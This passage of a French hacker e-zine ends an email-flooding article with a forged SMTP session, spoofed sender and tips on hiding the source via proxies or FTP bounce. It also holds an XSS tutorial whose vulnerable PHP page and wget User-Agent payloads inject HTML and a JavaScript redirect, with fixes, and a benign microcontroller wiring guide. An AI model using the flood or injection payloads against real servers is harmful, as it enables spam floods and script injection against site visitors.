2)  Dans certains cas, le serveur SMTP fait  une  vérification  préliminaire du 
    nom de domaine, alors vous allez devoir  vous  faire  une liste de  nom  de 
    domaine non fictif.
        
3)  Certains serveurs de courriel n'acceptent pas les courriels trop lourds, il 
    faut en tenir compte.
	
4)  Il  est  conseiller  d'envoyer les courriels fautifs via un Proxy HTTP  mal 
    foutu  ou  tout  autre façon détourné. Une vieille technique me  revient  à 
    l'esprit, le "almighty FTP BOUNCE".

Voici un exemple d'une session SMTP forgé :

-------------------------Connexion établis au serveur SMTP-----------------------
SERVER << 220 router.eden ESMTP Sendmail 8.12.11/8.12.11; Fri, 5 Nov 2004 00:47:36 -0500
CLIENT >> HELO test@victime.com
SERVER << 250 router.eden
CLIENT >> MAIL FROM: <test@victime.com>
SERVER << 250 Sender <test@victime.com> Ok
CLIENT >> RCPT TO: <test@destination_invalide1.com>
SERVER << 250 Recipient <test@destination_invalide1.com> Ok
CLIENT >> RCPT TO: <test@destination_invalide2.com>
SERVER << 250 Recipient <test@destination_invalide2.com> Ok
CLIENT >> RCPT TO: <test@destination_invalide3.com>
SERVER << 250 Recipient <test@destination_invalide3.com> Ok
CLIENT >> RCPT TO: <test@destination_invalide4.com>
SERVER << 250 Recipient <test@destination_invalide4.com> Ok

CLIENT >> RCPT TO: <test@destination_invalide5.com>
SERVER << 250 Recipient <test@destination_invalide5.com> Ok

CLIENT >> RCPT TO: <test@destination_invalide6.com>
SERVER << 250 Recipient <test@destination_invalide6.com> Ok

CLIENT >> RCPT TO: <test@destination_invalide7.com>
SERVER << 250 Recipient <test@destination_invalide7.com> Ok

CLIENT >> DATA
SERVER << 354 Ok Send data ending with <CRLF>.<CRLF>
CLIENT >> Subject: this is a flood
CLIENT >> 
CLIENT >> Je ne suis pas un suiveux, je prefere owned à pwned. Je ne suis pas un suiveux, je prefere owned à pwned.
CLIENT >> Je ne suis pas un suiveux, je prefere owned à pwned. Je ne suis pas un suiveux, je prefere owned à pwned.
CLIENT >> Je ne suis pas un suiveux, je prefere owned à pwned. Je ne suis pas un suiveux, je prefere owned à pwned.
CLIENT >> Je ne suis pas un suiveux, je prefere owned à pwned. Je ne suis pas un suiveux, je prefere owned à pwned.
CLIENT >> Je ne suis pas un suiveux, je prefere owned à pwned. Je ne suis pas un suiveux, je prefere owned à pwned.
CLIENT >> Je ne suis pas un suiveux, je prefere owned à pwned. Je ne suis pas un suiveux, je prefere owned à pwned.
CLIENT >>
CLIENT >> .
CLIENT >>
CLIENT >>
SERVER << 250 Message received: 20041105054612.RKSC25820.router.edent@[1.2.3.4]
QUIT
221 router.eden ESMTP server closing connection

-------------------------Déconnection--------------------------------------------

Ici j'ai couper dans le nombre de destination et dans la grosseur  du  courriel 
pour pas me faire dire que je fait du remplissage inutile :)

Il vous est peut-être  venu  a  l'esprit  qu'il serait pratique de connaître le 
nombre  maximum de destinations(copies-carbonnes) qu'un serveur peut permettre. 
Il  suffit tout simplement de se branché sur le serveur normalement, d'envoyer   
plusieurs  "RCPT TO"  suivi  d'un  "DATA"  et  de  2   CRLF suivi d'un "." et à  
nouveau  2 CRLF. Si il y a trop de destinations le message ne sera  pas envoyer   
et   un  message  d'erreur  sera retourner. (Stupidement le serveur retourne la 
bonne valeur dans  la majorité des cas.)

En  conclusion,  j'aimerais  parler  des  impacts  possibles de cette technique 
pratiqué  par des gens sans scrupules. Flooder une seule personne peut paraître 
amusant mais il y a vraiment matière pour faire plus, comme anéantir le pouvoir 
de transmission de plusieurs serveurs pendant de très longues heures. Imaginons 
le cas hypothétique  d'un  WORM  qui  utiliserait  cette technique pour flooder 
l'adresse de courriel d'une  organisation  internationale et connue, même si la 
victime finirait par changer  de  courriel, le  trafic  engendrer  serait d'une 
quantitée   colossale   et  difficile  à    manipuler (Un  beau  calvaire  pour 
l'administrateur). Alors sur cela, ne faite pas les cons et si la tentation est 
trop forte, n'en parlez pas a personne :)


http://mrgibson.no-ip.com/random/blindfire/ 
(aussi disponible sur www.mindkind.org)

		- Petit programme multi plate-forme de mon cru 
		  qui automatise le processus.

Greet to:

	         Nexact, sans qui j'aurais oublier de ressayer cette technique 
             (que j'avais déjà utiliser en 2000 sur un serveur intranet) ainsi
              qu'aux lémuriens en migration vers freenode :)



	                                                              __2






.---+-=[ Info - Pubs ]=-------------------------------+--------------------------=[:P]=----.
|  i|#hack.fr, un endroit respectueux des cultures     \___________________  ___  __   _   |
|  I|                                                                      \               |
|  I| (MADBOY prise 2)                                                      '-=[ Mk-110 ]=-|
| //                                                                                       |
| L\:-=[<[{N|KeUR}]> slt                                                       ]=--[~~]----|
|      [<init_null> jme demande ce que tu nike                                 ]    \/     | 
       [<[{N|KeUR}]> ta mere, ta soeur et toi aussi                            ]           | 
|      [<init_null> tu magasine pour un kickban?                               ] left blank  
|      [* Wyzeman sets mode: +b *!*@MADMAD1.users.undernet.org                 ] on purpose              
|      [* [{N|KeUR}] was kicked by Wyzeman (J'va t'apprendre un jeu rigolo a   ]           |  
       [grand coup de chaine de velo)                                         ]           | 
       [<init_null> [{N|KeUR}] on @#Interdit @#hacks_World @#pirataeurs        ]           |  
|      [<Wyzeman> fear, on a reveiller une terreur                             ]                
|-[~]-=[(PRIVMSG)<[{N|KeUR}]> 10 seconde, tu me Unban sinon                    ]                
                                                                               ]=-----:\T  | 
|                                                                                      //  |  
                                                                                      |I
                                                                                      |i 
'_______________________________________.I[ Event ]I._________________________________+____' 
                                                                 




.---+-=[ Advanced Xss Injection              ]=------+---------------------------=[04]=----.
|  i|                                                 \__________________  ___  __   _     |
|  I|                                                                    \                 |
|  I|                                                                     '-=[Wyzeman   ]=-|
| //                                                                                       |
| L\:-=[Ak : Le syndrome de la quotes chronique         ]=--------------[~~~~~~~~~~~~]-----|
|                                                                        \          /      | 
'________________________________________________________________________.I[MK-110]I.______'         
               
           


    Des fois il ne s'agit pas tant de trouver de nouvelle faille que de trouver 
de nouvelle emplois aux anciennes.  Les  failles de type XSS sont très connu et 
très documenter il est donc très rare  aujourd'hui de trouver  une  occasion de 
pouvoir les exploiter, puisque tout  programmeurs  digne de  se nom on adapter 
leurs code en conséquence (après tout en php un simple  addslash  suffit).  Par 
contre il demeure des variables que la plus par des programmeur ne prennent pas 
la peine de vérifier, c'est le  cas  souvent  des  variable  fourni par apache. 
Combiner avec une certaine dose d'amateurisme dans la configuration de php.ini, 
il devient possible d'injecter du code via toute  variable  fournis  par apache 
qui serais stocker et réutiliser  par  le  script  php  d'un  site  web.  Cette 
technique  peu  par exemple mener a un SQL injection au niveau dun compteur. de 
plus ce type de XSS peu facilement  être  injecter  via  un  utilitaire  simple 
d'utilisation telle que wget. 



    La  meilleur  façon  d'éviter  l'injection  de code via les variables local 
d'apache en php est d'activer  la  protection  magic_quotes qui par default est
désactivé pour  des  raisons  de  performance !?!?  Evidament  l'autre  methode 
consiste a vérifier  soit  même  le  contenue  de  chaque  variable avant de la
faire afficher.


     Rien de mieux qu'un exemple bien simple pour maîtriser  le  concept,  j'ai 
penser résumer la faille a sont expression la plus simple. une simple  page php 
qui store et affiche le contenu de la variable http_user_agent  a  chaque  fois 
que la page est visiter. 


<?PHP
//store the data
$fp=fopen("user.txt",'a+');
fwrite($fp,$_SERVER['HTTP_USER_AGENT']."\r\n");
fclose($fp);


//show the data
$fp=file("user.txt");
for($x=0;$x<count($fp);$x++)
 {
 echo $fp[$x]."<BR>";
 }
fclose($fp);
?>


nous voici donc avec un exemple de code vulnérable a un XSS  Injection (et  une 
page web qui sert a rien). Si nous visitons cette page anodine  avec un browser 
standard, nous obtenons le résultat semblable a ceci

Mozilla/5.0 (compatible; Konqueror/3.2; Linux) (KHTML, like Gecko) 
Mozilla/5.0 (compatible; Konqueror/3.2; Linux) (KHTML, like Gecko) 
Mozilla/5.0 (compatible; Konqueror/3.2; Linux) (KHTML, like Gecko) 


une ligne étant rajouter a chaque fois  que la page  est appeler.  Maintenant, 
essayons d'insérer du code dans cette page. 

bash-2.05b$ wget -U "<BODY bgcolor=black></BODY>" http://mkdwebdev.mindkind.org/shrug.php
--21:03:53--  http://mkdwebdev.mindkind.org/shrug.php
           => `shrug.php.15'
Resolving mkdwebdev.mindkind.org... 66.201.225.100
Connecting to mkdwebdev.mindkind.org[66.201.225.100]:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: unspecified [text/html]

    [ <=>                                 ] 249           --.--K/s

21:03:53 (2.37 MB/s) - `shrug.php' saved [249]

bash-2.05b$



maintenant si nous retournons voir avec un  browser  conventionnel on  se  rend 
compte que le background  est  effectivement  rendu  noir.  Évidement   on  est 
encoreloin   d'avoir   router  une  box,  c'est  pourquoi  on  va  essayer   de   
rendre l'exploitation un peu plus vénéneuse. 


wget -U "<IMG SRC=JaVaScRiPt:document.location.replace(&quot;http://www.mindkind.org&quot;)>" mkdwebdev.mindkind.org/shrug.php
--23:13:59--  http://mkdwebdev.mindkind.org/shrug.php
           => `shrug.php.21'
Resolving mkdwebdev.mindkind.org... 66.201.225.100
Connecting to mkdwebdev.mindkind.org[66.201.225.100]:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: unspecified [text/html]

    [ <=>                                 ] 809           --.--K/s

23:13:59 (7.72 MB/s) - `shrug.php.21' saved [809]


Si nous retournons a notre browser et feson un refresh  sur la page, nous  nous
retrouvons  maintenant  avec  du  javascript d'exécuter.  Même  si  il vous est 
possible  de passer des < >  afin  de  rajouter  script  ou  code html, la plus 
part vous  interdirons tout de même les " et ' remplacant les premiers par rien 
et les second en y ajoutant un \ afin  de  le  neutraliser.  Ce  n'est   guerre 
important puisque cette protection a  été depuis pratiquement les tout début du
xss bypasser,  il  sufit  d'utiliser  leur  equivalent  html, unicode ou encore 
hexadécimal. Dans cette exemple de bon vieu XSS classique,  c'est  l'équivalent
HTML qui a ete utiliser. Vous  pourrez  retrouver  une  bonne  liste  des   XSS 
standart réalisable, dans l'article spécifique a se sujet publier dans mindkind
par Mindflayr, ou encore vous referez a l'adresse suivante : 

http://www.shocking.com/~rsnake/xss.html


La variable  HTTP_REFERER  peut  aussi être utiliser de manière malicieuse dans
des conditions relativement semblable a HTTP_USER_AGENT.  Par  contre,  d'autre
variable t'elle que REMOTE_ADDR et REMOTE_HOST sont soumise  a  un  hand  check
de la par de apache,  ce  qui  rend l'injection de code via ces dites variables
totalement impossible. 


                                                                        wyzeman


                                   
.---+-=[ Info - Pubs ]=-------------------------------+--------------------------=[:P]=----.
|  i|#hack.fr, un milieu riche en information         \___________________  ___  __   _   |
|  I|                                                                      \               |
|  I|                                                                       '-=[ Mk-110 ]=-|
| //                                                                                       |
| L\:-=[<tiotio> peut-on ouvrire un breche sur un logiciel ??                  ]=--[~~]----|
|      [( je dit bien ouvrire et non exploiter ).                              ]    \/     | 
       [<jeru> une foi que t'a trouvé to logiciel et une breche ,              ]           | 
|      [tu code ton propre exploit                                             ] Save a   
|      [<tiotio> oui mais je parle po de buffer overflow                       ] mouse, eat              
|      [<tiotio> je parl de provoquer l'ouverture de la breche                 ] a pussy   |  
       [<jeru> c trop technique la                                             ]           | 
       [<jeru> je vois pas                                                     ]           |  
|      [                                                                       ]               
|-[~]-=[                                                                       ]                
                                                                               ]=-----:\T  | 
|                                                                                      //  |  
                                                                                      |I
                                                                                      |i 
'_______________________________________.I[ Event ]I._________________________________+____' 


.---+-=[ Doomsday device part 1              ]=------+---------------------------=[05]=----.
|  i|                                                 \__________________  ___  __   _     |
|  I|                                                                    \                 |
|  I|                                                                     '-=[Qwzykx    ]=-|
| //                                                                                       |
| L\:-=[Ak : eille man ta tu des chips ?                ]=--------------[~~~~~~~~~~~~]-----|
|                                                                        \          /      | 
'________________________________________________________________________.I[MK-110]I.______'         
               


Soit, bien qu'intéressant le monde de l'électronique ne peut concurrencer à lui 
seul l'attaque des evil  lesbiennes  from Mtl.. Malheureusement  en  temps  que 
Geek et gars qui reste à Québec, se sujet pour le moins juteux,  et fantaisiste 
ne pourra être  abordé en  profondeur..  et j'en  suis  le premier désolé soyez 
en  sure... Par contre  après l'ultime  mystère des lesbiennes affamées, de  la 
femme urbaine contemporaine et du continuum espace temps, une touche de naïveté  
nous  sera  nécessaire  pour  croire que  l'électronique  vaut encore  la peine  
d'être démystifier!!... après tout,  qui  sait,  un  jour  peut-être  la  femme  
bionique ne  sera   plus fiction,  et  ce   jours  tant  entendu, la  paix  sur  
terre  deviendra  réalité,  et  tous   nous  unirons  pour  chanter  notre joie  
à  travers le monde entier, un tournevis à la main. :) 

Et bien voici, le fondement de  cet article enfin révéler, rien de moins qu'une 
approche primaire  aux  microcontrôleurs.  Whouuu!... phear!!..  en effet,   le 
tout sera plutôt pédagogique et progressif....! 

Si l'électronique fut autre fois un truc complexe avec beaucoup d'imprévue tout  
en étant mythique, et bien  les  temps  ont changés!  Il n'est plus  nécessaire 
de de rusher un max sur un truc qui  n'a pas la possibilité de  foutre de quoi! 
Non la mode est à la  miniaturisation  et la  portabilité.  Certaine  puce sont  
préprogrammés,  d'autre  pas,  certaine autre  puise leur  programme, dans  des 
simplifications et ramifications  binaire,  mais  le  joyaux  de  cette  petite 
famille  c'est  bien   sur   les   microcontrôleurs   qui   agissent  comme  un  
microprocesseur personnaliser. Il sont composés pour la plus part de registres,  
de mémoires  ainsi que de plusieurs lignes de contrôle;)!   Les   modèles  sont  
vaste  et  devraient  êtres judicieusement choisis selon  la "job" a faire  Par  
contre dans le  cadre  de  notre  "petite"  expérimentation,  nous  utiliserons  
un Atmel  et ce d'une  façon plutôt élémentaire!  Mais vous  serez  à  même  de  
juger  du élémentaire en question dans les prochaines secondes! 

Le Atmel  AT89S8252 est un microcontrôleur comme bin d`autres,  mais  avec  ses 
particularités,  en fait ils en ont tous,  justement,  le tout  débute  par  en  
savoir un peu  plus  sur la  chip en question,  par exemple son nombre de linge  
configurables, les  possibilités  de  communication,  la  mémoire,  la  vitesse 
etc... En somme tant  de facteurs  qui nous  rappelle qu'on  est encore loin de 
la  fin  de  l'article :)  Le  Atmel  est  un  chip   qui   contient différents 
registres, et qui exécute son code en assembleur, mais comme l'homo sapiens des 
temps moderne  est  plus apte à communiquer  en  C,  il  est  aussi possible de 
programmer  son  chip de  façon optimisé avec un compilateur pour la dite puce!

Avant même de commencer sur le sujet,  le tweaker  en vous  devrait  déjà avoir  
un  minimum de  devices  composant le monde électronique.. d'ont un multimètre, 
un  planche de  prototype, du fils  (couleur différente si possible.. les vieux 
câbles  DB-25 sont tout  indiquer pour ca)  un fer à souder sans tétanos, ainsi 
qu'un reste d'étain!

Material
	- Atmel AT89S8252 microcontrôleur
	- Dip socket
	- Led`z (au besoin)
	- Cristal 11 Mhz
	- Condensateur 10pF - 10uF / résistance 1k-10k
	- Board de test (au besoin)
	- Alimentation électrique
  - Cable DB-25 de moins de 2m

Avant même de pouvoir pensé à crée une machine infernal  de  la  mort qui  fais  
une job X, il  nous faudra  la  réaliser logiquement... En fait le procéder est  
plutôt simple et tien plus de la recherche que de technique pour expert..  Dans 
notre cas il suffit  de  savoir quelle ligne ira  ou,  que  fera quoi,  comment 
alimenter les circuits en électricité ou encore comment relier  les différentes 
données entres elles.

Pour  les  specs  de  la  puce,  un tour chez le fabricant est souvent de mise, 
encore la il faut apprendre à dissocier l'utile du  superflue.. On  cherche  en 
gros  dans cette  étape  à quoi servent chacune  des  pattes du chip principal, 
ainsi  que  celle  des  périphériques qui les entours, par exemple un LCD qu'on 
voudrais   interfacer,  un  chip  de  RAM  ou  de Flash  qu'on  voudrait  aussi 
rajouter etc.. La documentation est souvent présente, mais c'est souvent à nous 
d'émuler avec  celle-ci le  moyen  que  nous  allons prendre pour  inter relier  
intelligemment le tout!  Par exemple, notre Atmel AT89S8252 à une ligne appeler 
EA.Devant tant d'incertitude on ouvre  une doc qui nous dit que le EA veut dire 
External Adressing, et que quand  il  est  à  5v  (1  logique)   le   programme  
roule  à   l'intérieur du microcontrôleur, et  quand il est à 0v (0 logique) le 
programme roule en mémoire externe,  comme dans  une ROM., RAM, ou  Flash  etc, 
au  fond  y'a  tellement  de  possibilités..  Comme  cette ligne n'est pas trop 
standard sur  les autres pièces électronique,on en conclue que seul ce chip est 
affecté  à  cette variable, ce qui serait  logique car il s'agit d'une fonction 
qui  est  propre au  microcontrôleur.  Par contre  le AT89S8252 possède aussi 4
port  de  8  bits  chaque..  c'est  ici que le tout  devient  de  plus  en plus
intéressant! Les données fournis ou interpréter par le AT89S8252  doivent  être 
relié  à un port  de données identiques  sur un autre périphérique afin que les 
deux modules reçoivent  les mêmes  données  au  même  moment.  Donc  sur  notre 
montage il nous faudra évaluer grossièrement ou positionner les différant petit 
signaux.. Comme par  exemple, si  le LCD comporte 8 lignes de data, on pourrait 
très facilement prévoir  qu'il nous faudra 8 lignes de data aussi sur le  Atmel 
AT89S8252.  En somme voici le plan que  j'ai fait, les détails vont suivre à la 
suite si besoin est!

Sur la partie  principale [IMG-01] on voit clairement le  microcontrôleur ainsi  
que ce qui l'entoure, les  numéros  au  dessus  de  chaque lignes indiquent les 
pins du chip, (pour plus  d'infos  sur  les  nomenclatures voir Mindkind #2. On 
voit donc le cristal (ici de 11.059 Mhz), les différant ports, soit P0, P1, P2, 
le P3 est  plus  ou moins défini sur  ce schéma,  mais pour vos  projets il est 
tout  de  même tout  à  fait  disponible,  noter  aussi que les pin 40 (VCC) et 
20 (GND) sont absente du shéma, oubliez  les donc pas.

Sur  la  deuxième  image  [IMG-02]  on voit un schéma d'un LCD avec ses pins et 
leurs  signaux  associés. Sur [IMG-03] on peut voir les deux parties précédents 
inters  reliés  entres elles, on voit bien les ports de données se différencier 
des autres lignes (de contrôle ou d'alimentation).

Ces différents schémas sont pour vous aider à mieux voir  l'interrelation qu'il 
y a entres les composantes du montage à faire.

Une fois le tout  semi analyser et repensé,  on peut passer à la phase suivante  
c'est-à-dire  placer  les différentes pièces du circuits ensemble et les relier 
du  mieux qu'on peut en botchant raisonnablement..  Pour se faire  avec  l'aide 
du plan  on  va  d'abord définir ou placer nos  pièces, question de placer près 
ce qui n'a pas besoins d'être loin, et vice versa!. 

Donc au  centre on  placera le  microcontrôleur, autour les périphériques etc.. 
comme  par  exemple voici ce que le  montage nous a donner  après  la  mise  en 
pratique du plan sur papier de tantôt!

[IMG-16] Image du produit fini (sans la puce).

Plutôt  basic,  je  sais!  Mais  patience!!..  On a ici mis en place les pièces 
essentiels pour que notre microcontrôleur puissent  s'auto  suffire;)  n'est-ce 
pas déjà la l'essentiel?!!

[IMG-04] On vois les pièces détachés d'ont on aura de besoin.
[IMG-05] Ici  on  pose  le  socket  de  40  pin qui  accueillera  plus  tard le
         microcontrôleur, on commence par le "taqué" en place  en  soudant  les 
         extrémités, comme ça s'il y a des modifs à faire on est pas obliger de 
         trop sacrer. :)
[IMG-06] Une fois terminée.
[IMG-07] En place ensuite le 7805 sur la plaquette (voir Mindkind #2 pour  plus 
         d'infos sur le 7805).
[IMG-08] Vue de dessous des branchements.
[IMG-09] Installation  des  connecteurs,  ici  se  sont  des connecteurs plutôt 
         cheap, en fait semblerait que les connecteurs femelles soit à se point 
         rare qu'il n'y en a pas à Québec, j'ai  donc pris des dip socket de 16 
         pins que j'ai ensuite couper  en deux..  sa marche,  mais y'a sûrement 
         moyen de trouver mieux...
[IMG-10] Vue de dessous.. On note aussi que les pins d'alimentation sont placer 
         cette fois, en dessous on  voit le fil  du GND (pin 20), sur le dessus  
         on a  le VCC (pin40),  on  note  aussi  que  les pins 29(PSEN)  et  31 
         (EA)  sont  au VCC, car on ne les utilisera pas dans ce petit montage,
         par contre si dans un futur l'occasion  se présente d'interfacer de la 
         mémoire externe en  utilisant  un bus de  donnée,  d'adressage  et  de 
         contrôle,ces lignes vont devoir changer !
[IMG-11] Ici  j'ai  rajouté  un  interrupteur  normalement  ouvert  (un  bouton 
         poussoir) afin de contrôler le signal RESET du microcontrôleur, croyez 
         moi avec le temps on apprend à aimer reseter celui-ci avec  un  bouton 
         plutôt qu'en gossant avec  l'alimentation  électrique.
[IMG-12] Vue de dessous du branchement de l'interrupteur sur la ligne de reset. 
         En fait, le VCC va rejoindre  l'interrupteur  qui attend d'être activé 
         avant   de  laisser  passer  se  5v (VCC)   à  l a pin  de  reset   du 
         microcontrôleur.
[IMG-13] Début du  branchement des ports du  Atmel au socket dip 16 pins couper 
         en deux donc 8 pins, qu'on a installé tantôt, les soudures sont par en 
         dessous car au-dessus y'a  pas mal  de truc qui gene  le placement des 
         fils!
[IMG-14] Opération compléter.
[IMG-15] Ici on place des  résistances  pack  sur  les lignes  de  données,  le 
         Atmel n'est pas vraiment fait pour fournir beaucoup d'ampérage  sur un 
         niveau logique haut (5v), on est donc mieux de l'utiliser  en  logique  
         inverse.  Ex : 1 logique  = 0  volts..  L'utilisation  de  résistances 
         pull-up permet  au  microcontrôleur  de  voir  un 1 logique lorsque la 
         ligne de donnée qui est brancher à la device à contrôler est flottante 
         (pas de valeur stable), en fait par ce  procéder,  on  s'assure que le 
         chaos   reste  loin  du  montage.. si  la  valeur  est  flottante,  le  
         microcontrôleur   verra   un  1  logique  (grâce   au  5v  relier  aux 
         résistances) au lieu d'un truc louche et pas défini. Et si on commande 
         une 0  logique, la  ligne  ou  est  brancher notre device sera donc de 
         zéro volt, car la résistance prendront à leurs bornes la différence de 
         potentiel, en somme le  5v initial cède la place au contrôle du Atmel. 
         Dans certain cas par contre, il faudra tenir compte de cette situation  
         lors  de la rédaction de codes..(si la logique est inversé).
[IMG-16] Branchement du cristal (ici mon cristal est surface  mount,  mais  y'a 
         tout de même moyen de le faire fitter.. On branche donc les pins 18 et 
         19  au   cristal,  puis  ensuite  de  ces  connections  on  place  des 
         condensateurs de 20 pF qu'on relie au GND. (voir schéma  initial)  Sur 
         cette image, je  rajoute  aussi  un  port  de  programmation  (en fait 
         c'est 4  lignes qui doivent êtres  pluguer au  port parallèle de votre 
         ordinateur), soit les pins 6-7-8-9.

On  relie  donc  le  port  de  l'imprimante à notre microcontrôleur de la façon 
suivante :

ORDI   ---------- Microcontrôleur
Lpt.6  (D4) _____ Atmel.9  (RESET)                                                 
Lpt.7  (D5) _____ Atmel.6  (MOSI)                                                  
Lpt.8  (D6) _____ Atmel.8  (SCK)
Lpt.10 (ACk) ____ Atmel.7  (MISO)                                                                                                           
Lpt.25 (GND) ____ Atmel.20 (GND)                                                                                                                  

Utiliser  un câble  DB-25  de  moins  de  2m  par  contre, le signal a tendance 
à pas suivre quand sa dépasse cette distance. J'ai modifier  pour  ma  part  le 
câble en y  rajoutant  un  circuit  simple composer de deux inverseurs logique,
ainsi qu'une couples de résistances et de condensateur  pour clarifier le tout, 
voici le schéma de l'oeuvre :


Lpt.10 (D6)________________________________
                                           |
                                           |
                                  (+5V)    |                   
                          _____     |      |           
Lpt.7 (D5)_______________/|   |\____|      |        
                       +_/| 7 |\___________| 
                       +_/| 4 |\_+ 
             ,_(AD5)_____/| 0 |\_+             
Lpt.8 (D6)_______________/| 6 |\________(AACK)_(Connecteur)_(Atmel.7)
             i     _____+/|___|\__+
             |    |    __/     \__|_____(AD6)__(Connecteur)_(Atmel.8)
             |    |___|___________|         
             |________|_________________(AD5)__(Connecteur)_(Atmel.6)
                      |
Lpt.25 (GND)__________+_________________(GND)__(Connecteur)_(Atmel.20)                  
                                        (+5V)__(Connecteur)_(Atmel.40)  
                                          
                   (+5V)                   
                     |                    
                     |                    
              C1    --- +                    
              10uF  ---                        
                     |                 (+5V)
              R1     |          _____    |        
Lpt.6 (D4)__[ 1k ]___+_________/|   |\___|            
                     |       +_/| 7 |\_          
                     |       +_/| 4 |\_      
                R2  | |    ____/| 0 |\_         
                10K | |   |   _/| 6 |\_         
                     |    |   _/|___|\_            
                   (GND)  |   _/     \_   
                          |  |          
                          |__|__________(AD4)__(Connecteur)_(Atmel.9)
                             |
                           (GND)


   
Ici le signal D4 passe par une résistance de 1K, avant  d'être  relié  au 7406. 
On place aussi un condensateur C1 ainsi qu'une autre  résistance R2  de 10K sur 
le même signal. Après avoir alimenté  ces  inverseurs logique (7406) ou (7404), 
avec un voltage  de  5 Volt (qu'on  peut transformer  à l'aide d'un simple 7805 
"régulateur de voltage"). Les signaux (A*) sont simplement le signal amplifié à 
la sortie des 7406, en fait en rentrant notre signal original à l'intérieur  de 
celui-ci, on la inversé une 1er fois,puis on la rentré une seconde fois dans un 
second inverseur  affin  de  retrouver  notre  niveau  logique  original,  mais
amplifier autour de 4.5-5v, au lieu de 3-3.5v comme il serait à  la  sortie  du 
port parallèle.Le tout fini donc relié au Atmel (notre microcontrôleur),  à  un 
voltage décent si il y avait des problèmes de ce côté la.

[IMG-17] Câble de programmation,  avec  le  board  que je viens de vous montrer 
         en schéma, relié au Atmel. J'utilise ici  un  7805   pour  régulariser 
         l'alimentation d'environs 20v qui provient du bornier noir. Les petits 
         fils sortent du board et sont  relié au Atmel (soit quatre de données, 
         deux d'alimentation)  Ici  j'ai  pas de DB-25,  mais  on  émule plutôt 
         bien ou on devrait  le  placer... (au besoin).

Troubble shooting :
Et oui plein de truc tourne croche dans ce  monde pervers, et  ce  montage  n'y 
échappera pas!, si  toute fuck,  respirer  et  analyser vos  signaux,  comme il 
s'agit  ici  d'un  montage  assez  simple,  les  causes  d'erreur seront plutôt 
minimal.. enfin ça risque de  grandir  au  fur  et  à  mesure  que  le  montage 
évoluera.. encore une fois il est pratique de faire fonctionner le tout section 
par section affin  justement  de  plus y revenir  par  la suite :)

Les bugs classiques :
 - Pluguez la pin 31 du chip (EA) au  5V pour flasher le microcontrôleur.
 - Pluguez les cristals (4 - 24MHz) et le 5V au microcontrôleur.
 - Pluguez le condensateur et la résistance au signal RESET.  partie  du bas du 
   montage de tantôt (7406 pas obliger).
 - Reliez tout vos signaux de Ground (GND) ensemble.
 - Vérifier que les  pins (6,7,8,9) du  Atmel,  sont  bien  brancher  aux  pins 
   correspondant sur le port d'imprimante.

Bon une fois notre port de programmation en  place on  peut  entreprendre cette 
magnifique  saga  qu'est  le coding sur  un chip... le AT89S8252 comporte 8k de 
mémoire utilisable à l'interne. Se qui veut dire que vous pourrez coder un truc 
de 8k tout au plus...(enfin 8k de données en asm pour être plus précis, donc si 
vos fichiers en C font plus de 20k il y a  encore de l'espoir!) Le logiciel que 
j'utilise est IAR, il comporte les tools  pour justement programmer et compiler 
votre code, vous pouvez  même  le  runer  sur  votre ordi!!.. enfin, en émulant 
mentalement les effets... 

IAR  c'est  en  gros  un  compilateur C pour les microcontrôleurs, il nous faut 
(dans  notre cas le: IAR Embedded Workbench for 8051) le setter pour programmer 
notre model de Atmel,  avec quelques spécifications. En fait c'est un programme 
qu'on peut sûrement trouver  un  peu partout...  c'est comme les movies... 

Les settings suivant sont à faire ou sont à vérifier:

 - Copier le fichier lnk8051.xcl du e-zine dans le répertoire \8051\config
 - Vous  créez  un  projet, New  Project, vous crée un feuille de code que vous 
   saver,...ensuite dans l'onglet Project,  option File,  on ajoute  le .C  que 
   vous avez saver, cut paster le code que j'ai mis plus bas dans cet  article. 
   On a donc un projet avec un source code à l'intérieur, qui ne fait pas grand 
   choses mais quand  même!.
 - Dans  le  menu  Project/Option  cliquer sur XLINK et dans la section Format,
   cochez l'option Other, dans la partie Output Format  choisissez  mpds-i.  En 
   faisant  ca  vous  allez  sortir  le  code  compilé  en un format compatible 
   avec le Atmel. 

Il est  maintenant temps de mettre en pratique quelques notion de programmation 
donc!..compilons le programme suivant .. "ici c'est le temps d'ouvrir IAR et de 
copier le .c suivant :"

--------------------------[Cut here]----------------------------

#include <io_A89.h>        //Description des io pour le AT89S8252.
                           //Place ou sont définie les terme du genre
                           //P1, P1.2 etc...
void delay (unsigned int); //Fonction de delay de temps.
void Process1(void);       //Process qu'on va faire exécuter par le chip.
void Process2(void);
void Process3(void);
 
void main (void)           //Main :)
{                                                                   
while(1)                   //Boucle sans fin, pratique pour une puce
 {                         //qui fait une tache répétitive.
 Process1();               //Call des process durant son while.
 Process2();
 Process3();
 }
}


/********************Fonction delay***************************
Fonction qui permet d'introduire un délais de temps dans notre
code, comme le Atmel exécute du code rapidement, vraiment
rapidement, cette fonction a souvent comme but de ramener nos 
commandes à un niveau de control ou de perception plus..
humain disons :)
Il s'agit en fait d'un gros compteur ou le Atmel perd du temps
à décrémenter la valeur de la variable passé en paramètre.
*************************************************************/
void delay (unsigned int compteur) //La fonction resoit un 
{                                  //argument de type int.
while (compteur != 0x0000)         //Boucle de comptage.
   compteur--;
}



/********************Fonction Process1***********************
Le premier process qu'on fait faire à notre Atmel c'est 
simplement un incrément binaire sur le port numéro 1.
Une valeur est initialisée à zéro, puis elle augmente au
fur et à mesure que l'incrément sur la variable passe dans
un while. Le Port 1 a donc sur ses 8 lignes la valeur de la
variable qui s'incrémente.
Ex : 0000 0000
     0000 0001
     0000 0010
     0000 0011
     0000 0100
     0000 0101
     0000 0110
avec entre chaque valeur un délai de temps qui permet
de voir ces changements, et non une ligne allumer.
************************************************************/
void Process1(void)               
{
unsigned char valeur=0x00;  //Déclaration d'une variable de 8bits.
while (valeur != 0xFF)      //Boucle tant que la variable est pas 
 {                          //à 0xFF, ou 256.
 P1=valeur;                 //Le Port 1 du Atmel est égale à la
 delay(6000);               //valeur de la variable.
 valeur++;                  //Call de la fonction de délais,
 }                          //incrément de la variable.
}



/********************Fonction Process2********************* 
Le deuxième process qu'on fait effectuer au Atmel est une#fresh
sortie de différentes valeurs sur le port 3 de celui-ci.
L'effet qui se déactive seulement si la Pin 1 du Atmel (le 
signal P1.0) reçoit un niveau logique 1 (5v) à sa pin.

Les différentes valeurs hexadécimales active sur le port 3
différentes valeurs, ici le but est de faire un simple
effet chaser à la K-2000. Donc en première on envoie la 
valeur 0x81, ce qui a pour effet de mettre à un le bit
le plus significatif (MSB) ainsi que le moins signifiant#fresh
